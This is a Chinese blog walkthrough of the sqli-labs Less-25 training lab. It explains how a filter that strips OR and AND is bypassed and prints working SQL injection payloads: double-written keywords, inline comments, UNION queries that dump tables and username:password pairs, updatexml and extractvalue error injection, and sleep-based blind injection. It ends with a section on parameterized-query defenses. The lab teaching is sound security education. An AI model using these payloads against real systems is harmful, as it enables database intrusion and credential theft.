尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

sqli-labs Less-25实战:SQL注入OR/AND关键字过滤绕过全解析

sqli-labs Less-25实战:SQL注入OR/AND关键字过滤绕过全解析 在sqli-labs的第25关卡了整晚最后发现不是不知道原理而是被最基础的过滤规则给秀了一脸。Less-25这个关卡说白了就是一套针对SQL注入中OR和AND关键字的过滤机制很多人在这一关会反复撞墙不是因为注入手法不够熟练而是因为没读懂后端到底做了什么手脚。这篇文章我把Less-25从源码逻辑、注入点识别、绕过手段到完整注入链路全部拆开讲一遍。如果你正在刷sqli-labs或者说刚接触SQL注入想找个靶场练手这一关的技术点足够你消化一阵子。我会尽量用我实际踩过的坑和验证过的payload说话不整那些看似高深但根本跑不通的花活。1. 关卡核心逻辑与绕过思路拆解1.1 后端到底过滤了什么源码逻辑逐行解读Less-25对应的是sqli-labs的“基于OR-AND过滤器”关卡。先别看界面直接去看PHP源码这关的逻辑其实非常短。核心代码大致是这样一段$id $_GET[id]; $id preg_replace(/or/i, , $id); $id preg_replace(/and/i, , $id);这两行正则过滤就是整个关卡的机关所在。注意三个关键点第一正则用了/i修饰符说明不区分大小写。也就是说OR、Or、oR、AND、And、aNd全部都会被命中并替换为空字符串。第二替换动作是全局的不是只替换第一个。你输入多少个OR它就替换多少个。但这恰恰给了我们一个经典的绕过手法——双写绕过也就是把OR写成OROR过滤时中间的OR被去掉剩下的那个OR就留在了SQL语句里。第三过滤只针对OR和AND这两个关键词其他SQL关键字一概不管。这样我们的绕过空间就非常明确只要最终拼进SQL语句的关键字里不直接出现完整的OR或AND就能避过这层过滤。我用一个生活化的类比来解释这个过滤逻辑它就像门口保安拿着名单查名字只要名字里包含“张三”两个字就直接划掉但如果你在表格里写“张张三三”保安划掉中间两个剩下的“张三”反而被放进去了。Less-25的过滤就是这样只做无脑替换不二次校验。1.2 这关到底要我们掌握什么Less-25的训练目标是让你认识到一个很现实的问题关键字过滤不等于安全。当我们看到OR和AND被过滤时第一反应可能是“完了没法用联合注入了”因为UNION后面的ORDER BY里带着OR。但实际上过滤规则越是简单粗暴越容易找到缝隙。这一关需要掌握的技能点包括注入点类型的准确识别判断是字符型还是数字型闭合法是什么关键字的多种等价替代方案利用报错信息反推数据库结构从联合注入到报错注入的灵活切换整个关卡不会涉及太复杂的数据库操作但非常考验你对SQL语句语法细节的敏感度。因为很多payload不是写不出来而是写完被过滤规则一搅和就成了语法错误的SQL这时候靠的就是对绕过手法的熟练掌握。2. 环境准备与初始试探2.1 靶场搭建与启动细节如果你还没搭好sqli-labs这里先给一个稳妥的路径。sqli-labs是基于PHP写的靶场最省事的方式是用集成环境跑我实测下来用PHP原生环境加MySQL最干净。具体步骤大致如下git clone https://github.com/Audi-1/sqli-labs.git然后把它放到Web根目录新建数据库修改数据库连接配置访问http://你的地址/sqli-labs-master/按提示初始化。这里有几个坑我必须提前说数据库连接配置一般在sql-connections/db-creds.inc里用户名和密码必须和你的MySQL一致否则所有关卡都会报数据库连接错误如果你用的是较新的PHP版本部分旧代码会弹出弃用警告但不影响运行直接忽略即可第25关的入口路径通常是Less-25/但不同版本的目录结构可能略有差异找不到就进主页面按序号点进去我自己的习惯是直接在本地环境里跑这样既能看源码又能随时改代码验证猜测。刷靶场光靠黑盒测试有时候效率真的低。2.2 注入点识别与第一波试探进入Less-25后你会看到经典的id传参注入点。老规矩先甩几个基础payload试探一下http://127.0.0.1/sqli-labs-master/Less-25/?id1 http://127.0.0.1/sqli-labs-master/Less-25/?id1 http://127.0.0.1/sqli-labs-master/Less-25/?id1-- http://127.0.0.1/sqli-labs-master/Less-25/?id1 AND 11--正常情况下id1会返回一个用户信息id1会报SQL语法错误。到这一步很多新手就开始拿AND 11去验证了结果发现页面根本没有任何变化。为什么因为你的AND已经被后端吃掉了。你心里想的是SELECT * FROM users WHERE id1 AND 11--;实际到达数据库的SQL是SELECT * FROM users WHERE id1 11--;这条SQL直接语法报错页面要么白屏要么报错信息。这个现象就是Less-25给你上的第一课注入点验证不能死搬硬套要先弄清楚过滤器的脾气。再试一下用OR同样会被替换甚至可能因为闭合问题导致返回的内容变得非常奇怪。到这里你就可以确认OR和AND确实被过滤了接下来就该思考怎么绕过。3. 绕过OR和AND过滤的实战手段3.1 大小写混写与双写绕过的边界条件先讲最基础的两个绕过大小写和双写。在Less-25这一关里大小写是绕不过去的因为源码带了/i修饰符大小写都会被过滤。但双写是真能用的。大小写混写的payload长这样SELECT * FROM users WHERE id1 oR 11--;经过过滤后变成SELECT * FROM users WHERE id1 11--;依然报错。所以在这一关大小写绕过直接被封死。但双写就不一样了SELECT * FROM users WHERE id1 OORR 11--;过滤规则把中间的OR替换掉后剩下的字符串是SELECT * FROM users WHERE id1 OR 11--;完美合成合法的SQL。道理很简单preg_replace是单次扫描替换不会循环校验替换后的结果。只要你在原字符串中塞入一个“过滤后能拼出目标关键字”的组合就能骗过这个规则。这个手法在实战中也很有参考价值因为很多WAF的规则都是单次匹配双写绕过的核心思想就是让WAF过滤掉一半关键字剩下一半形成合法命令。3.2 内联注释绕过的原理与适用场景MySQL有一种特殊的注释语法能包裹关键字但不会被当成纯注释格式是/*!关键字*/。这种写法在MySQL里会被解析器当成真正的SQL关键字来处理。在Less-25里就可以这样用SELECT * FROM users WHERE id1 /*!OR*/ 11--;因为正则匹配的是字符串中的OR而/*!OR*/里的OR被注释符包围正则匹配时它确实能匹配到OR并替换替换后剩下的斜杠星号会造成语法错误……但注意如果写成/*!OORR*/过滤后就成了/*!OR*/MySQL解析时就会当OR来用。我实际测试过这种双层内联注释方式是有效的。不过我更推荐把双写和注释结合起来比如OORR、AANDND之类的变形因为这一步的目标就是弄出一个能通过过滤又能被数据库正确解析的字符串。还有一个小技巧在MySQL中||是逻辑OR的别名是逻辑AND的别名。不过Less-25的注入点外层有单引号包裹直接塞||进去数据库会把||当成字符串字面量的一部分反而不能起到逻辑操作符的作用。这个点需要等我们切换到报错注入或联合注入时再灵活运用。3.3 为什么联合注入反而在这里最顺手Less-25的经典解法是联合注入因为需要构造的ORDER BY里带着OR。当然绕过的思路我们已经有了真正关键的是怎么让整个联合查询语句保持语法正确。先探测列数。在Less-25里注意ORDER BY中的OR被过滤的问题所以需要双写http://127.0.0.1/sqli-labs-master/Less-25/?id-1 OORRDER BY 3--正常情况下这个请求能正常排序说明列数不少于3列。再试4列时如果报错就说明一共3列。然后构造联合查询http://127.0.0.1/sqli-labs-master/Less-25/?id-1 UNOION SELEECT 1,2,3--这里我又加了两个变量UNOION会在过滤OR时被还原成UNION但奇妙的是过滤只针对OR和ANDUNION里的IO虽然也包含I和O但没有完整的OR所以其实不需要双写。我只是顺手演示双写思路的普适性。实际上Less-25的WHERE过滤只针对OR和ANDUNION和SELECT都不受影响直接写就行。但要注意(SELECT)里如果用了子查询子查询里出现AND或者OR也需要双写处理。3.4 从“只过滤OR/AND”推导出的通用绕过思路学这一关不能只背几个payload你得建立起一套分析WAF/过滤器的方法论。Less-25特别适合当分析素材因为它的过滤规则太简单一眼能看到边界。我的通用套路是这样的第一步找出过滤了什么怎么过滤的源码或黑盒测试第二步判断过滤是单次还是循环大小写是否敏感第三步列出目标关键字的等价拼法双写、注释包裹、十六进制、运算符别名第四步构造多条payload做A/B测试观察哪种变形被还原成了合法SQL比如看到OR被替换就想想有哪些变形在替换后还能变成OROORR、/*!OORR*/、%4fRURL解码后都是可测试的方向。注意URL解码这种方案要看服务端是否做二次解码Less-25本身不做URL解码所以这种方案在Less-25里无效但在其他场景可能有效。再比如AND可能存在的等价格式是、AANDND等。很多时候你不需要记住所有姿势而是要明白过滤器的执行顺序和替换逻辑从而推导出可用方案。4. 完整注入链路实战4.1 从联合注入爆出数据库的完整过程前面已经把探测和构造联合查询的基础打好了现在走一条完整的链路。第一步判断回显位。使用http://127.0.0.1/sqli-labs-master/Less-25/?id-1 UNION SELECT 1,2,3--页面显示的位置2和位置3可以透出数据。那么接下来把爆数据的位置放在2和3就行。第二步爆数据库名。Less-25跑在MySQL上可以用group_concat(table_name)这类聚合函数把多个结果拼在一起。注意FROM information_schema.tables里的OR不多但如果你用了WHERE table_schemadatabase()这个子句里没有OR和AND所以不用绕。整条payload是http://127.0.0.1/sqli-labs-master/Less-25/?id-1 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schemadatabase()--这里还需要留意FROM和WHERE这两个词本身不含OR或AND所以不会被过滤。但如果你习惯写成FROM information_schema.tables是没问题的。第三步爆字段名。比如已经爆出表中有users表那接下来就是http://127.0.0.1/sqli-labs-master/Less-25/?id-1 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_nameusers--只要前面没有AND/OR在语句里露头这步直接就能通。第四步爆数据http://127.0.0.1/sqli-labs-master/Less-25/?id-1 UNION SELECT 1,2,group_concat(username,0x3a,password) FROM users--我在username和password之间插入了0x3a也就是冒号的十六进制表示这样结果更直观。4.2 报错注入的曲线救国方案联合注入是最直观的解法但有时候联合注入会因为各种原因不生效比如过滤规则把UNION也干掉了。这个时候可以切换到报错注入利用MySQL的报错信息来携带数据。比如使用updatexml报错注入它的原理是让XPath表达式出错MySQL会把函数参数中的内容带到错误信息里从而实现数据外带。构造payload时注意AND或OR不出现或者用双写处理http://127.0.0.1/sqli-labs-master/Less-25/?id1 OORR updatexml(1,concat(0x7e,database()),1)--这条经过过滤后变成WHERE id1 OR updatexml(1,concat(0x7e,database()),1)--因为id1为真OR后面函数报错的话错误信息里会带上数据库名。我在实践中发现这个方案在Less-25中的成功率很高因为UPDATEXML函数里没有OR和AND关键字唯一要处理的就是逻辑连接词。再比如extractvalue一个道理http://127.0.0.1/sqli-labs-master/Less-25/?id1 OORR extractvalue(1,concat(0x7e,database()))--这里需要注意一点报错注入对列数没有要求也不依赖回显位所以当联合注入被搞得很难受时报错注入往往更省事。而且Less-25的报错信息是直接回显在页面上的非常方便。4.3 布尔盲注与时间盲注的兜底方案如果页面把SQL报错信息屏蔽了联合注入和报错注入都失效那就得靠布尔盲注和时间盲注了。Less-25这一关其实不需要盲注因为报错信息都开着。但作为演练还是可以试试双写后的布尔盲注http://127.0.0.1/sqli-labs-master/Less-25/?id1 OORR substring(database(),1,1)s--页面如果跟正常请求一样说明数据库名的第一个字符是s。这种盲注方式纯粹是练手感一旦遇到真正的无回显环境这套逻辑就是唯一救命稻草。时间盲注的payload长这样http://127.0.0.1/sqli-labs-master/Less-25/?id1 OORR sleep(5)--如果页面停顿5秒说明OR逻辑执行成功。时间盲注最大的问题是慢但是在无任何回显的情况下你只能靠这个来判断真假条件。4.4 参数计算与分隔符选择的一点心得做联合注入时最烦的就是各种符号的转义问题。比如在group_concat中字段分隔符我喜欢用0x3a或者0x2c。如果直接写冒号有时候会被SQL模式或引号处理干扰用十六进制最稳妥。在concat(0x7e,database())里0x7e是波浪号用来标记数据的开始和结束。因为报错信息可能很长用波浪号包裹一下你一眼就能看到数据从哪里开始到哪里结束。还有一点在URL里传参时#是注释符号但URL中的#会被浏览器当成锚点不会传给服务端。所以最稳妥的注释是用--其中在URL编码里是空格变成SQL里的--注释。这个细节很多人会忽略然后发现payload明明看着没问题却老是被后面的引号干扰。5. 常见卡关点与排查技巧实录5.1 为什么payload一直报语法错误Less-25最常见的卡关点就是语法错误。我总结了一下十有八九是下面几个原因某个OR或AND没绕干净被过滤后SQL断成两截URL中的#被当成锚点注释没生效单引号闭合位置不对导致整个WHERE条件错乱拼接函数多写或少写了一个括号排除方法很笨但有效把URL里的参数用urldecode还原后手动走一遍过滤逻辑把OR和AND全部删掉看剩下的SQL能不能通。如果通不过问题就出在过滤后的语法上。比如你输入OORRDER BY 3手动过滤后是ORDER BY 3这没问题。但如果你输入OR ORDER BY 3过滤后是ORDER BY 3也没问题。可你要是输入 OR ORDER BY 3过滤后就剩 ORDER BY 3引号直接悬空那肯定报错。说白了绕过要的是“过滤后形成合法SQL”不是“过滤前看着像合法SQL”。5.2 关于信息收集的经典误区很多新手一进Less-25就拿AND 11做验证发现不好使就慌了甚至误判成不存在注入。实际上这恰恰说明注入点存在只是关键字被过滤了。正确的识别步骤是先看单引号是否报错再看双写后的OR或AND是否能改变页面内容接着用UNION SELECT定位回显位最后再用报错函数或数据外带确认数据库类型Less-25的后端用的是MySQL所以很多MySQL专属语法才有效比如information_schema、updatexml、group_concat。如果你拿SQL Server或Oracle的语法来试十有八九要碰壁。5.3 我踩过的一些坑与处理总结整理了一份速查表方便你直接对照卡关现象可能原因处理方式id1和id1页面一样引号被转义或闭合没生效确认URL编码尝试%27AND 11不返回预期AND被过滤改用AANDND或联合查询无回显列数不对或回显位判断错误用ORDER BY探测列数并双写过滤报错注入不报错逻辑连接词被过滤OR后面没触发用OORR双写或#注释无效URL锚点截断改--或%23数据在页面空白处回显位置判断错误把字段放2和3不要只试1过滤后仍有OR双写位置不对在关键字中间插入相同字符如OORR这张表不仅适用于Less-25很多其他带过滤规则的关卡也能套用。5.4 一个更隐蔽的思路利用MySQL变量绕过过滤除了前面讲的常规姿势还有一个偏冷门但在Less-25里实测可用的思路——利用MySQL变量。你可以通过set语句把整个SQL片段存入用户变量然后再让变量参与查询。不过Less-25的注入点在URL参数里没法直接执行多条语句所以这个方法受限于场景。但这提醒我们一件事绕过过滤器的核心不是背payload而是理解MySQL的语法弹性和执行顺序。类似地你还可以考虑用LIKE替代用REGEXP替代LIKE用IN替代多个OR条件。比如WHERE id IN (1,2,3)这条语句根本不出现OR却达到了OR的效果。如果哪天过滤规则把所有逻辑连接词都封了这种等价替换就是突破口。所以在Less-25里除了把OR双写以外你完全可以尝试把OR改成INhttp://127.0.0.1/sqli-labs-master/Less-25/?id1 OORR id IN (1,2)--这种方式尤其适合在布尔盲注时用来判断某个条件是否落在集合内非常灵活。6. 防御视角的复盘6.1 过滤关键字为什么不是万能药Less-25的关卡价值不只是让你学会绕过它更是一次防御视角的教育。如果你在公司里写代码看到preg_replace(/or/i, , $input)这种写法要立刻意识到问题关键字过滤做输入安全本质上就是黑名单思路而黑名单永远不可能覆盖所有变形。黑名单的致命缺陷在于它只认识它认识的东西。攻击者手里握着的是整个语言的语法而我们手里只有一个名单。攻防不对等的根源就在这里。6.2 真正靠谱的防御长什么样正确的SQL注入防御无非三板斧使用参数化查询或预编译语句让用户输入只作为数据参与传递而不是SQL结构使用白名单校验比如强制要求id字段必须是整数类型以最小权限原则配置数据库账号让注入即便存在也无法拖库我在实际项目里很少单纯依赖过滤函数因为过滤永远是辅助手段不是安全边界。你可以在输入输出层加上过滤作为纵深防御但核心防线必须是参数化查询。所以刷完Less-25建议你顺手做两件事一是把源码里的过滤改成参数化查询看看原本要绕半天的注入是不是直接就断了二是把这个关卡作为面试题去跟别人讲解能讲清楚黑名单的局限比背一百个payload都更能体现安全功底。我在实际测试中还有一个小体会Less-25的源码特别适合用来做自动化绕过脚本的测试样例。你完全可以写一个简单的Python脚本输入一个payload自动执行过滤逻辑并输出过滤后的SQL这样一来你在构造双写或注释变形时就能在本地快速验证有效性而不是一遍遍去刷页面。下面给个简单的模拟代码import re def simulate_filter(payload): filtered re.sub(ror, , payload, flagsre.IGNORECASE) filtered re.sub(rand, , filtered, flagsre.IGNORECASE) return filtered payload 1 OORR updatexml(1,concat(0x7e,database()),1)-- print(simulate_filter(payload))跑一下就能看到OORR过滤后变成OR其他部分保持不变。这个脚本虽然简单但能帮你养成分析过滤器的直觉以后碰到任何WAF你第一时间就能判断出它的替换逻辑能不能被双写或注释绕过。这一关刷完之后你会发现自己对SQL注入的理解从一个笼统的概念细化到了对数据库解析顺序、关键字替换时机、注释语法的深层认知。这种手感是看一百篇writeup都换不来的。Less-25结束之后后面还有很多变本加厉的过滤规则等着你但只要你这一关老老实实把绕过思维练扎实了后面那些关卡无非是在这个基础上叠加更多花活罢了。
返回列表